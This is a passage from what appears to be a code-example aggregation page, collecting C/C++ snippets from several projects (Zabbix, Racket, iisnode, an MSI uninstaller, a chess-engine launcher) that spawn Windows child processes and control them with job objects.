Error:

	this->GetEventProvider()->Log(L"iisnode failed to initialize the application manager", WINEVENT_LEVEL_ERROR);

	if (NULL != this->asyncManager)
	{
		delete this->asyncManager;
		this->asyncManager = NULL;
	}

	if (NULL != this->jobObject)
	{
		CloseHandle(this->jobObject);
		this->jobObject = NULL;
	}

	if (NULL != this->fileWatcher)
	{
		delete this->fileWatcher;
		this->fileWatcher = NULL;
	}

	return hr;
}
Пример #19
0
static intptr_t do_spawnv(rktio_t *rktio,
                          const char *command, int argc, const char * const *argv,
			  int exact_cmdline, intptr_t sin, intptr_t sout, intptr_t serr, int *pid,
			  int new_process_group, int chain_termination_here_to_child,
                          void *env, const char *wd)
{
  intptr_t i, l, len = 0;
  int use_jo;
  intptr_t cr_flag;
  char *cmdline;
  wchar_t *cmdline_w, *wd_w, *command_w;
  STARTUPINFOW startup;
  PROCESS_INFORMATION info;

  if (exact_cmdline) {
    cmdline = (char *)argv[1];
  } else {
    for (i = 0; i < argc; i++) {
      len += strlen(argv[i]) + 1;
    }

    cmdline = malloc(len);

    len = 0;
    for (i = 0; i < argc; i++) {
      l = strlen(argv[i]);
      memcpy(cmdline + len, argv[i], l);
      cmdline[len + l] = ' ';
      len += l + 1;
    }
    --len;
    cmdline[len] = 0;
  }

  memset(&startup, 0, sizeof(startup));
  startup.cb = sizeof(startup);
  startup.dwFlags = STARTF_USESTDHANDLES;
  startup.hStdInput = (HANDLE)sin;
  startup.hStdOutput = (HANDLE)sout;
  startup.hStdError = (HANDLE)serr;

  /* If none of the stdio handles are consoles, specifically
     create the subprocess without a console: */
  if (!rktio_system_fd_is_terminal(rktio, (intptr_t)startup.hStdInput)
      && !rktio_system_fd_is_terminal(rktio, (intptr_t)startup.hStdOutput)
      && !rktio_system_fd_is_terminal(rktio, (intptr_t)startup.hStdError))
    cr_flag = CREATE_NO_WINDOW;
  else
    cr_flag = 0;
  if (new_process_group)
    cr_flag |= CREATE_NEW_PROCESS_GROUP;
  cr_flag |= CREATE_UNICODE_ENVIRONMENT;

  use_jo = chain_termination_here_to_child;
  if (use_jo) {
    /* Use a job object to ensure that the new process will be terminated
       if this process ends for any reason (including a crash) */
    if (!rktio->process_job_object) {
      JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli;

      rktio->process_job_object = CreateJobObject(NULL, NULL);

      memset(&jeli, 0, sizeof(jeli));
      jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
      SetInformationJobObject(rktio->process_job_object,
			      JobObjectExtendedLimitInformation,
			      &jeli,
			      sizeof(jeli));
    }
  }

  
  cmdline_w = WIDE_PATH_copy(cmdline);
  if (!exact_cmdline)
    free(cmdline);
  wd_w = WIDE_PATH_copy(wd);
  command_w = WIDE_PATH_temp(command);

  if (cmdline_w
      && wd_w
      && command_w
      && CreateProcessW(command_w, cmdline_w, 
                        NULL, NULL, 1 /*inherit*/,
                        cr_flag, env, wd_w,
                        &startup, &info)) {
    if (use_jo)
      AssignProcessToJobObject(rktio->process_job_object, info.hProcess);
    CloseHandle(info.hThread);
    *pid = info.dwProcessId;
    free(cmdline_w);
    free(wd_w);
    return (intptr_t)info.hProcess;
  } else {
    if (cmdline_w) free(cmdline_w);
    if (wd_w) free(wd_w);
    return -1;
  }
}
Пример #20
0
BOOL Go(const char *commandLine)
{
	HANDLE stdInRead, stdInWrite;

	if (!CreatePipes(&stdInRead, &stdInWrite)) return FALSE;


	PROCESS_INFORMATION piProcInfo; 
	STARTUPINFO siStartInfo;
	BOOL bSuccess = FALSE; 

	
	ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) );

	ZeroMemory( &siStartInfo, sizeof(STARTUPINFO) );
	siStartInfo.cb = sizeof(STARTUPINFO); 
	siStartInfo.hStdError = GetStdHandle(STD_ERROR_HANDLE);
	siStartInfo.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
	siStartInfo.hStdInput = stdInRead;
	siStartInfo.dwFlags |= STARTF_USESTDHANDLES;

	siStartInfo.wShowWindow = SW_HIDE;
	siStartInfo.dwFlags |= STARTF_USESHOWWINDOW;
	// Create the child process. 

	if (!CreateProcess(NULL, 
		const_cast<char *>(commandLine),   // command line 
		NULL,          // process security attributes 
		NULL,          // primary thread security attributes 
		TRUE,          // handles are inherited 
		CREATE_BREAKAWAY_FROM_JOB,             // creation flags 
		NULL,          // use parent's environment 
		NULL,          // use parent's current directory 
		&siStartInfo,  // STARTUPINFO pointer 
		&piProcInfo))  // receives PROCESS_INFORMATION 
	{
		return FALSE;
	}

	HANDLE ghJob = CreateJobObject( NULL, NULL);

	JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli = { 0 };
	jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
	if( ghJob == NULL || SetInformationJobObject( ghJob, JobObjectExtendedLimitInformation, &jeli, sizeof(jeli)) == FALSE) {
		std::cerr << "Error initializing close-process job";
		return 1;
	}

	if (!AssignProcessToJobObject( ghJob, piProcInfo.hProcess)) {
		DWORD error = GetLastError();
		std::cerr << "AssignProcessToJobObject failed: " << error << std::endl;
		return FALSE;
	}

	// Close handles to the child process and its primary thread.
	// Some applications might keep these handles to monitor the status
	// of the child process, for example. 

	CloseHandle(piProcInfo.hThread);
	MonitorProcessClose(piProcInfo.hProcess);

	WriteToPipe(stdInWrite, piProcInfo.hProcess);
	
	CloseHandle(piProcInfo.hProcess);
	CloseHandle(stdInRead);
	CloseHandle(stdInWrite);


	return 0;
}
Пример #21
0
/******************************************************************************
 *                                                                            *
 * Function: zbx_waitpid                                                      *
 *                                                                            *
 * Purpose: this function waits for process to change state                   *
 *                                                                            *
 * Parameters: pid     - [IN] child process PID                               *
 *                                                                            *
 * Return value: on success, PID is returned. On error,                       *
 *               -1 is returned, and errno is set appropriately               *
 *                                                                            *
 * Author: Alexander Vladishev                                                *
 *                                                                            *
 ******************************************************************************/
static int	zbx_waitpid(pid_t pid)
{
	const char	*__function_name = "zbx_waitpid";
	int		rc, status;

	zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name);

	do
	{
#ifdef WCONTINUED
		static int	wcontinued = WCONTINUED;
retry:
		if (-1 == (rc = waitpid(pid, &status, WUNTRACED | wcontinued)))
		{
			if (EINVAL == errno && 0 != wcontinued)
			{
				wcontinued = 0;
				goto retry;
			}
#else
		if (-1 == (rc = waitpid(pid, &status, WUNTRACED)))
		{
#endif
			zabbix_log(LOG_LEVEL_DEBUG, "%s() waitpid failure: %s", __function_name, zbx_strerror(errno));
			goto exit;
		}

		if (WIFEXITED(status))
			zabbix_log(LOG_LEVEL_DEBUG, "%s() exited, status:%d", __function_name, WEXITSTATUS(status));
		else if (WIFSIGNALED(status))
			zabbix_log(LOG_LEVEL_DEBUG, "%s() killed by signal %d", __function_name, WTERMSIG(status));
		else if (WIFSTOPPED(status))
			zabbix_log(LOG_LEVEL_DEBUG, "%s() stopped by signal %d", __function_name, WSTOPSIG(status));
#ifdef WIFCONTINUED
		else if (WIFCONTINUED(status))
			zabbix_log(LOG_LEVEL_DEBUG, "%s() continued", __function_name);
#endif
	}
	while (!WIFEXITED(status) && !WIFSIGNALED(status));
exit:
	zabbix_log(LOG_LEVEL_DEBUG, "End of %s():%d", __function_name, rc);

	return rc;
}

#endif	/* _WINDOWS */

/******************************************************************************
 *                                                                            *
 * Function: zbx_execute                                                      *
 *                                                                            *
 * Purpose: this function executes a script and returns result from stdout    *
 *                                                                            *
 * Parameters: command       - [IN] command for execution                     *
 *             buffer        - [OUT] buffer for output, if NULL - ignored     *
 *             error         - [OUT] error string if function fails           *
 *             max_error_len - [IN] length of error buffer                    *
 *                                                                            *
 * Return value: SUCCEED if processed successfully, TIMEOUT_ERROR if          *
 *               timeout occurred or FAIL otherwise                           *
 *                                                                            *
 * Author: Alexander Vladishev                                                *
 *                                                                            *
 ******************************************************************************/
int	zbx_execute(const char *command, char **buffer, char *error, size_t max_error_len, int timeout)
{
	size_t			buf_size = PIPE_BUFFER_SIZE, offset = 0;
	int			ret = FAIL;
#ifdef _WINDOWS
	STARTUPINFO		si;
	PROCESS_INFORMATION	pi;
	SECURITY_ATTRIBUTES	sa;
	HANDLE			job = NULL, hWrite = NULL, hRead = NULL;
	char			*cmd = NULL;
	wchar_t			*wcmd = NULL;
	struct _timeb		start_time, current_time;
#else
	pid_t			pid;
	int			fd;
#endif

	*error = '\0';

	if (NULL != buffer)
	{
		*buffer = zbx_realloc(*buffer, buf_size);
		**buffer = '\0';
	}

#ifdef _WINDOWS

	/* set the bInheritHandle flag so pipe handles are inherited */
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;

	/* create a pipe for the child process's STDOUT */
	if (0 == CreatePipe(&hRead, &hWrite, &sa, 0))
	{
		zbx_snprintf(error, max_error_len, "unable to create a pipe: %s", strerror_from_system(GetLastError()));
		goto close;
	}

	/* create a new job where the script will be executed */
	if (0 == (job = CreateJobObject(&sa, NULL)))
	{
		zbx_snprintf(error, max_error_len, "unable to create a job: %s", strerror_from_system(GetLastError()));
		goto close;
	}

	/* fill in process startup info structure */
	memset(&si, 0, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO);
	si.dwFlags = STARTF_USESTDHANDLES;
	si.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
	si.hStdOutput = hWrite;
	si.hStdError = hWrite;

	/* use cmd command to support scripts */
	cmd = zbx_dsprintf(cmd, "cmd /C \"%s\"", command);
	wcmd = zbx_utf8_to_unicode(cmd);

	/* create the new process */
	if (0 == CreateProcess(NULL, wcmd, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
	{
		zbx_snprintf(error, max_error_len, "unable to create process [%s]: %s",
				cmd, strerror_from_system(GetLastError()));
		goto close;
	}

	CloseHandle(hWrite);
	hWrite = NULL;

	/* assign the new process to the created job */
	if (0 == AssignProcessToJobObject(job, pi.hProcess))
	{
		zbx_snprintf(error, max_error_len, "unable to assign process [%s] to a job: %s",
				cmd, strerror_from_system(GetLastError()));
		if (0 == TerminateProcess(pi.hProcess, 0))
		{
			zabbix_log(LOG_LEVEL_ERR, "failed to terminate [%s]: %s",
					cmd, strerror_from_system(GetLastError()));
		}
	}
	else if (-1 == ResumeThread(pi.hThread))
	{
		zbx_snprintf(error, max_error_len, "unable to assign process [%s] to a job: %s",
				cmd, strerror_from_system(GetLastError()));
	}
	else
		ret = SUCCEED;

	if (FAIL == ret)
		goto close;

	_ftime(&start_time);
	timeout *= 1000;

	ret = zbx_read_from_pipe(hRead, buffer, &buf_size, &offset, timeout);

	if (TIMEOUT_ERROR != ret)
	{
		_ftime(&current_time);
		if (0 < (timeout -= zbx_get_timediff_ms(&start_time, &current_time)) &&
				WAIT_TIMEOUT == WaitForSingleObject(pi.hProcess, timeout))
		{
			ret = TIMEOUT_ERROR;
		}
	}

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);
close:
	if (NULL != job)
	{
		/* terminate the child process and it's childs */
		if (0 == TerminateJobObject(job, 0))
			zabbix_log(LOG_LEVEL_ERR, "failed to terminate job [%s]: %s", cmd, strerror_from_system(GetLastError()));
		CloseHandle(job);
	}

	if (NULL != hWrite)
		CloseHandle(hWrite);

	if (NULL != hRead)
		CloseHandle(hRead);

	zbx_free(cmd);
	zbx_free(wcmd);

#else	/* not _WINDOWS */

	alarm(timeout);

	if (-1 != (fd = zbx_popen(&pid, command)))
	{
		int	rc;
		char	tmp_buf[PIPE_BUFFER_SIZE];

		while (0 < (rc = read(fd, tmp_buf, sizeof(tmp_buf) - 1)) && MAX_EXECUTE_OUTPUT_LEN > offset + rc)
		{
			if (NULL != buffer)
			{
				tmp_buf[rc] = '\0';
				zbx_strcpy_alloc(buffer, &buf_size, &offset, tmp_buf);
			}
		}

		close(fd);

		if (-1 == rc || -1 == zbx_waitpid(pid))
		{
			if (EINTR == errno)
				ret = TIMEOUT_ERROR;
			else
				zbx_snprintf(error, max_error_len, "zbx_waitpid() failed: %s", zbx_strerror(errno));

			/* kill the whole process group, pid must be the leader */
			if (-1 == kill(-pid, SIGTERM))
				zabbix_log(LOG_LEVEL_ERR, "failed to kill [%s]: %s", command, zbx_strerror(errno));

			zbx_waitpid(pid);
		}
		else if (MAX_EXECUTE_OUTPUT_LEN <= offset + rc)
		{
			zabbix_log(LOG_LEVEL_ERR, "command output exceeded limit of %d KB",
					MAX_EXECUTE_OUTPUT_LEN / ZBX_KIBIBYTE);
		}
		else
			ret = SUCCEED;
	}
	else
		zbx_strlcpy(error, zbx_strerror(errno), max_error_len);

	alarm(0);

#endif	/* _WINDOWS */

	if (TIMEOUT_ERROR == ret)
		zbx_strlcpy(error, "Timeout while executing a shell script.", max_error_len);
	else if ('\0' != *error)
		zabbix_log(LOG_LEVEL_WARNING, "%s", error);

	if (SUCCEED != ret && NULL != buffer)
		zbx_free(*buffer);

	return ret;
}
Пример #22
0
/* Uninstall NSIS */
MSIDLLEXPORT UninstallNsisInstallation( MSIHANDLE hInstall )
{
	DWORD rv = ERROR_SUCCESS;
	// lookup the NSISUNINSTALL property value
	LPTSTR cNsisUninstall = _T("NSISUNINSTALL");
	HANDLE hIo = NULL;
	DWORD dwSize = 0;
	LPTSTR strPathUninst = NULL;
	HANDLE hJob = NULL;
	STARTUPINFO sInfo;
	PROCESS_INFORMATION pInfo;

	pInfo.hProcess = NULL;
	pInfo.hThread = NULL;

	rv = MsiGetProperty( hInstall, cNsisUninstall, _T(""), &dwSize );
	if(rv != ERROR_MORE_DATA) goto _cleanup;

	strPathUninst = new TCHAR[ ++dwSize ];

	rv = MsiGetProperty( hInstall, cNsisUninstall, strPathUninst, &dwSize );
	if(rv != ERROR_SUCCESS) goto _cleanup;

	// Create a process for the uninstaller
	sInfo.cb = sizeof(sInfo);
	sInfo.lpReserved = NULL;
	sInfo.lpDesktop = _T("");
	sInfo.lpTitle = _T("Foo");
	sInfo.dwX = 0;
	sInfo.dwY = 0;
	sInfo.dwXSize = 0;
	sInfo.dwYSize = 0;
	sInfo.dwXCountChars = 0;
	sInfo.dwYCountChars = 0;
	sInfo.dwFillAttribute = 0;
	sInfo.dwFlags = 0;
	sInfo.wShowWindow = 0;
	sInfo.cbReserved2 = 0;
	sInfo.lpReserved2 = 0;
	sInfo.hStdInput = 0;
	sInfo.hStdOutput = 0;
	sInfo.hStdError = 0;

	if(!CreateProcess( 
		strPathUninst,
		_T("Uninstall /S"),
		NULL,
		NULL,
		FALSE,
		CREATE_SUSPENDED,
		NULL,
		NULL,
		&sInfo,
		&pInfo)) {
			pInfo.hProcess = NULL;
			pInfo.hThread = NULL;
			rv = 40;
			goto _cleanup;
		};

	// Create a job object to contain the NSIS uninstall process tree

	JOBOBJECT_ASSOCIATE_COMPLETION_PORT acp;

	acp.CompletionKey = 0;

	hJob = CreateJobObject(NULL, _T("NSISUninstallObject"));
	if(!hJob) {
		rv = 41;
		goto _cleanup;
	}

	hIo = CreateIoCompletionPort(INVALID_HANDLE_VALUE,0,0,0);
	if(!hIo) {
		rv = 42;
		goto _cleanup;
	}

	acp.CompletionPort = hIo;

	SetInformationJobObject( hJob, JobObjectAssociateCompletionPortInformation, &acp, sizeof(acp));

	AssignProcessToJobObject( hJob, pInfo.hProcess );

	ResumeThread( pInfo.hThread );

	DWORD a,b,c;
	for(;;) {
		if(!GetQueuedCompletionStatus(hIo, &a, (PULONG_PTR) &b, (LPOVERLAPPED *) &c, INFINITE)) {
			Sleep(1000);
			continue;
		}
		if(a == JOB_OBJECT_MSG_ACTIVE_PROCESS_ZERO) {
			break;
		}
	}

	rv = ERROR_SUCCESS;
    
_cleanup:
	if(hIo) CloseHandle(hIo);
	if(pInfo.hProcess)	CloseHandle( pInfo.hProcess );
	if(pInfo.hThread) 	CloseHandle( pInfo.hThread );
	if(hJob) CloseHandle(hJob);
	if(strPathUninst) delete[] strPathUninst;

	if(rv != ERROR_SUCCESS) {
        ShowMsiError( hInstall, ERR_NSS_FAILED, rv );
	}
	return rv;
}
Пример #23
0
int main(){
  DWORD exit_code, terminated;

  STARTUPINFO child_1_si;
  STARTUPINFO child_2_si;

  PROCESS_INFORMATION child_1_pi;
  PROCESS_INFORMATION child_2_pi;

  HANDLE job_handle = CreateJobObject(NULL, "job");

  memset(&child_1_si, 0, sizeof(STARTUPINFO));
  child_1_si.cb=sizeof(child_1_si);

  memset(&child_2_si, 0, sizeof(STARTUPINFO));
  child_2_si.cb=sizeof(child_2_si);

  get_warning_alert("\nTrying to create the first child process...");
  DWORD child_1_created = CreateProcess(NULL, "child.exe ChildOne GrandChildOne", NULL, NULL, FALSE,
                  NORMAL_PRIORITY_CLASS, NULL, NULL, &child_1_si, &child_1_pi);

  if(!child_1_created){
    get_error_alert("\nError on creating process / code #%ld", GetLastError());
    exit(1);
  }
  get_success_alert("\nProcess created!");

  get_warning_alert("\nTrying to create the second child process...");
  DWORD child_2_created = CreateProcess(NULL, "child.exe ChildTwo GrandChildTwo", NULL, NULL, FALSE,
                  NORMAL_PRIORITY_CLASS, NULL, NULL, &child_2_si, &child_2_pi);

  if(!child_2_created){
    get_error_alert("\nError on creating process / code #%ld", GetLastError());
    exit(1);
  }
  get_success_alert("\nProcess created!");

  AssignProcessToJobObject(job_handle, child_2_pi.hProcess);


  for(int i = 0; i <= 20; i++){
    get_error_alert("Parent: ");
    printf("on step %d\n", i);

    if(i == 7)
    {
      GetExitCodeProcess(child_1_pi.hProcess, &exit_code);
      terminated = TerminateProcess(child_1_pi.hProcess, (UINT) exit_code);

      if(!terminated)
      {
        get_error_alert("\nTerminating error %d\n", GetLastError());
      }
      else
      {
        get_success_alert("\nThe first child process terminated\n");
      }
    }

    if(i == 10)
    {
      GetExitCodeProcess(job_handle, &exit_code);
      terminated = TerminateJobObject(job_handle, (UINT) exit_code);

      if(!terminated)
      {
        get_error_alert("\nJob terminating error %d\n", GetLastError());
      }
      else
      {
        get_success_alert("\nJob terminated\n");
      }
    }

    Sleep(3000);
  }

  return 0;
}
Пример #24
0
int main() {

	int argc;
	wchar_t ** argv = CommandLineToArgvW(GetCommandLine(), &argc);

	// Make sure that we've been passed the right number of arguments
	if (argc < 8) {
		_tprintf(_T("Usage: %s (four inheritable event handles) (CommandLineToSpawn)\n"),
				argv[0]);
		return(0);
	}

	// Construct the full command line
	int nCmdLineLength= MAX_CMD_LINE_LENGTH;
	wchar_t * szCmdLine= (wchar_t *)malloc(nCmdLineLength * sizeof(wchar_t));
	szCmdLine[0]= 0;
	int nPos = 0;

	for(int i = 8; i < argc; ++i)
	{
		int nCpyLen;
		int len= wcslen(argv[i]);
		int requiredSize= nPos+len+2;
		if (requiredSize > 32*1024) {
#ifdef DEBUG_MONITOR
			OutputDebugStringW(_T("Command line too long!\n"));
#endif
			return 0;
		}
		ensureSize(&szCmdLine, &nCmdLineLength, requiredSize);
		if (NULL == szCmdLine) {
#ifdef DEBUG_MONITOR
			OutputDebugStringW(_T("Not enough memory to build cmd line!\n"));
#endif
			return 0;
		}
		if(0 > (nCpyLen = copyTo(szCmdLine + nPos, argv[i], len, nCmdLineLength - nPos)))
		{
#ifdef DEBUG_MONITOR
			OutputDebugStringW(_T("Not enough space to build command line\n"));
#endif
			return 0;
		}
		nPos += nCpyLen;
		szCmdLine[nPos] = _T(' ');
		++nPos;
	}
	szCmdLine[nPos] = _T('\0');

	STARTUPINFOW si = {sizeof(si)};
	PROCESS_INFORMATION pi = {0};
	DWORD dwExitCode = 0;
#ifdef DEBUG_MONITOR
	int currentPID = GetCurrentProcessId();
	wchar_t buffer[MAX_CMD_LINE_LENGTH];
#endif

	BOOL exitProc = FALSE;
	HANDLE waitEvent = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[4]);
	HANDLE h[5];
	h[0] = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[3]);	// simulated SIGINT (CTRL-C or Cygwin 'kill -SIGINT')
//  h[1] we reserve for the process handle
	h[2] = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[5]); // simulated SIGTERM
	h[3] = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[6]); // simulated SIGKILL
	h[4] = OpenEventW(EVENT_ALL_ACCESS, TRUE, argv[7]); // CTRL-C, in all cases
	
	SetConsoleCtrlHandler(HandlerRoutine, TRUE);

	int parentPid = wcstol(argv[1], NULL, 10);
	int nCounter = wcstol(argv[2], NULL, 10);
	wchar_t inPipeName[PIPE_NAME_LENGTH];
	wchar_t outPipeName[PIPE_NAME_LENGTH];
	wchar_t errPipeName[PIPE_NAME_LENGTH];

	swprintf(inPipeName, L"\\\\.\\pipe\\stdin%08i%010i", parentPid, nCounter);
	swprintf(outPipeName, L"\\\\.\\pipe\\stdout%08i%010i", parentPid, nCounter);
	swprintf(errPipeName, L"\\\\.\\pipe\\stderr%08i%010i", parentPid, nCounter);
#ifdef DEBUG_MONITOR
	swprintf(buffer, _T("Pipes: %s, %s, %s\n"), inPipeName, outPipeName, errPipeName);
	OutputDebugStringW(buffer);
#endif

	HANDLE stdHandles[3];

	SECURITY_ATTRIBUTES sa;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES);
	sa.bInheritHandle = TRUE;
	sa.lpSecurityDescriptor = NULL;

	if((INVALID_HANDLE_VALUE == (stdHandles[0] = CreateFileW(inPipeName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, &sa))) ||
			(INVALID_HANDLE_VALUE == (stdHandles[1] = CreateFileW(outPipeName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, &sa))) ||
			(INVALID_HANDLE_VALUE == (stdHandles[2] = CreateFileW(errPipeName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, &sa))))
	{
#ifdef DEBUG_MONITOR
		swprintf(buffer, _T("Failed to open pipe %i, %i, %i: %i\n"), stdHandles[0], stdHandles[1], stdHandles[2], GetLastError());
		OutputDebugStringW(buffer);
#endif
		CloseHandle(stdHandles[0]);
		CloseHandle(stdHandles[1]);
		CloseHandle(stdHandles[2]);
		return -1;;
	}
	SetHandleInformation(stdHandles[0], HANDLE_FLAG_INHERIT, TRUE);
	SetHandleInformation(stdHandles[1], HANDLE_FLAG_INHERIT, TRUE);
	SetHandleInformation(stdHandles[2], HANDLE_FLAG_INHERIT, TRUE);

	if(!SetStdHandle(STD_INPUT_HANDLE, stdHandles[0]) ||
			!SetStdHandle(STD_OUTPUT_HANDLE, stdHandles[1]) ||
			!SetStdHandle(STD_ERROR_HANDLE, stdHandles[2])) {
#ifdef DEBUG_MONITOR
		swprintf(buffer, _T("Failed to reassign standard streams: %i\n"), GetLastError());
		OutputDebugStringW(buffer);
#endif
		CloseHandle(stdHandles[0]);
		CloseHandle(stdHandles[1]);
		CloseHandle(stdHandles[2]);
		return -1;;
	}

#ifdef DEBUG_MONITOR
	wchar_t * lpvEnv = GetEnvironmentStringsW();

	// If the returned pointer is NULL, exit.
	if (lpvEnv == NULL)
	OutputDebugStringW(_T("Cannot Read Environment\n"));
	else {
		// Variable strings are separated by NULL byte, and the block is 
		// terminated by a NULL byte. 

		OutputDebugStringW(_T("Starter: Environment\n"));
		for (wchar_t * lpszVariable = (wchar_t *) lpvEnv; *lpszVariable; lpszVariable+=wcslen(lpszVariable) + 1) {
			swprintf(buffer, _T("%s\n"), lpszVariable);
			OutputDebugStringW(buffer);
		}

		FreeEnvironmentStringsW(lpvEnv);
	}
#endif
#ifdef DEBUG_MONITOR
	swprintf(buffer, _T("Starting: %s\n"), szCmdLine);
	OutputDebugStringW(buffer);
#endif
	// Create job object
	HANDLE hJob = CreateJobObject(NULL, NULL);
	
	// Spawn the other processes as part of this Process Group
	BOOL f = CreateProcessW(NULL, szCmdLine, NULL, NULL, TRUE,
			0, NULL, NULL, &si, &pi);

	// We don't need them any more
	CloseHandle(stdHandles[0]);
	CloseHandle(stdHandles[1]);
	CloseHandle(stdHandles[2]);
	
	if (f) {
#ifdef DEBUG_MONITOR
		swprintf(buffer, _T("Process %i started\n"), pi.dwProcessId);
		OutputDebugStringW(buffer);
#endif
		SetEvent(waitEvent); // Means thar process has been spawned
		CloseHandle(pi.hThread);
		h[1] = pi.hProcess;

		if(NULL != hJob) {
			if(!AssignProcessToJobObject(hJob, pi.hProcess)) {
#ifdef DEBUG_MONITOR
				swprintf(buffer, _T("Cannot assign process %i to a job\n"), pi.dwProcessId);
				OutputDebugStringW(buffer);
				DisplayErrorMessage();
#endif
			}
		}

		while(!exitProc)
		{
			// Wait for the spawned-process to die or for the event
			// indicating that the processes should be forcibly killed.
			DWORD event = WaitForMultipleObjects(5, h, FALSE, INFINITE);
			switch (event)
			{
			case WAIT_OBJECT_0 + 0: // SIGINT
			case WAIT_OBJECT_0 + 4: // CTRL-C
#ifdef DEBUG_MONITOR
				swprintf(buffer, _T("starter (PID %i) received CTRL-C event\n"), currentPID);
				OutputDebugStringW(buffer);
#endif
				if ((event == (WAIT_OBJECT_0 + 0)) && isCygwin(h[1])) {
					// Need to issue a kill command
					wchar_t kill[1024];
					swprintf(kill, L"kill -SIGINT %d", pi.dwProcessId);
					if (!runCygwinCommand(kill)) {
						// fall back to console event
						GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
					}
				} else {
					GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
				}

				SetEvent(waitEvent);
				break;

			case WAIT_OBJECT_0 + 1: // App terminated normally
				// Make it's exit code our exit code
#ifdef DEBUG_MONITOR
				swprintf(buffer, _T("starter: launched process has been terminated(PID %i)\n"),
						pi.dwProcessId);
				OutputDebugStringW(buffer);
#endif
				GetExitCodeProcess(pi.hProcess, &dwExitCode);
				exitProc = TRUE;
				break;

			// Terminate and Kill behavior differ only for cygwin processes, where
			// we use the cygwin 'kill' command. We send a SIGKILL in one case,
			// SIGTERM in the other. For non-cygwin processes, both requests
			// are treated exactly the same
			case WAIT_OBJECT_0 + 2:	// TERM
			case WAIT_OBJECT_0 + 3:	// KILL
			{
				const wchar_t* signal = (event == WAIT_OBJECT_0 + 2) ? L"TERM" : L"KILL";
#ifdef DEBUG_MONITOR
				swprintf(buffer, _T("starter received %s event (PID %i)\n"), signal, currentPID);
				OutputDebugStringW(buffer);
#endif
				if (isCygwin(h[1])) {
					// Need to issue a kill command
					wchar_t kill[1024];
					swprintf(kill, L"kill -%s %d", signal, pi.dwProcessId);
					if (!runCygwinCommand(kill)) {
						// fall back to console event
						GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
					}
				} else {				
					GenerateConsoleCtrlEvent(CTRL_C_EVENT, 0);
				}
				
				SetEvent(waitEvent);
				
				if(NULL != hJob) {
					if(!TerminateJobObject(hJob, (DWORD)-1)) {
#ifdef DEBUG_MONITOR
						OutputDebugStringW(_T("Cannot terminate job\n"));
						DisplayErrorMessage();
#endif
					}
				}

				// Note that we keep trucking until the child process terminates (case WAIT_OBJECT_0 + 1)
				break;
			}

			default:
				// Unexpected code
#ifdef DEBUG_MONITOR
				DisplayErrorMessage();
#endif
				exitProc = TRUE;
				break;
			}

		}
	} else {
#ifdef DEBUG_MONITOR
		swprintf(buffer, _T("Cannot start: %s\n"), szCmdLine);
		OutputDebugStringW(buffer);

		DisplayErrorMessage();
#endif
	}

	if (NULL != szCmdLine)
	{
		free(szCmdLine);
	}

	CloseHandle(waitEvent);
	CloseHandle(h[0]);
	CloseHandle(h[1]);
	CloseHandle(h[2]);
	CloseHandle(h[3]);
	CloseHandle(h[4]);

	return(dwExitCode);
}
Пример #25
0
bool AI::init(int engine)
{
	bool engine_started = false;
	bool b64bit = isOS64Bit();
	bool jobSuccess = false;

	m_engine = engine;
	memset(m_engine_path, 0, sizeof(m_engine_path));

	// set up the security attributes
	m_sa.bInheritHandle = true;
	m_sa.lpSecurityDescriptor = NULL;
	m_sa.nLength = sizeof(SECURITY_ATTRIBUTES);

	// setup job to kill the child process when calling process terminates
	m_hJob = CreateJobObject(NULL, NULL);
	if(m_hJob != NULL){
		m_jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;

		jobSuccess = SetInformationJobObject(m_hJob, JobObjectExtendedLimitInformation, &m_jeli, sizeof(m_jeli));
	}

	// open a pipe to the AI engine
	if(!CreatePipe(&m_child_stdin, &m_hWrite, &m_sa, 0)){
		throw std::runtime_error("CreatePipe - stdin");
		return false;
	}

	if(!CreatePipe(&m_hRead, &m_child_stdout, &m_sa, 0)){
		throw std::runtime_error("CreatePipe - stdout");
		cleanup();
		return false;
	}

	// prepare to launch the process
	GetStartupInfo(&m_si);
	m_si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	m_si.wShowWindow = SW_HIDE;
	m_si.hStdOutput = m_child_stdout;
	m_si.hStdError = m_child_stdout;
	m_si.hStdInput = m_child_stdin;

	for(;!engine_started;){
		switch(m_engine){
			case ENGINE_HOUDINI:
				if(b64bit){
					strcpy(m_engine_path, "Data/Engines/Houdini_x64.exe");
					checkProcess("Houdini_x64.exe");
				}
				else{
					strcpy(m_engine_path, "Data/Engines/Houdini_x86.exe");
					checkProcess("Houdini_x86.exe");
				}
				break;

			case ENGINE_STOCKFISH:
				if(b64bit){
					strcpy(m_engine_path, "Data/Engines/Stockfish_x64.exe");
					checkProcess("Stockfish_x64.exe");
				}
				else{
					strcpy(m_engine_path, "Data/Engines/Stockfish_x86.exe");
					checkProcess("Stockfish_x86.exe");
				}
				break;

			case ENGINE_CRITTER:
				if(b64bit){
					strcpy(m_engine_path, "Data/Engines/Critter_x64.exe");
					checkProcess("Critter_x64.exe");
				}
				else{
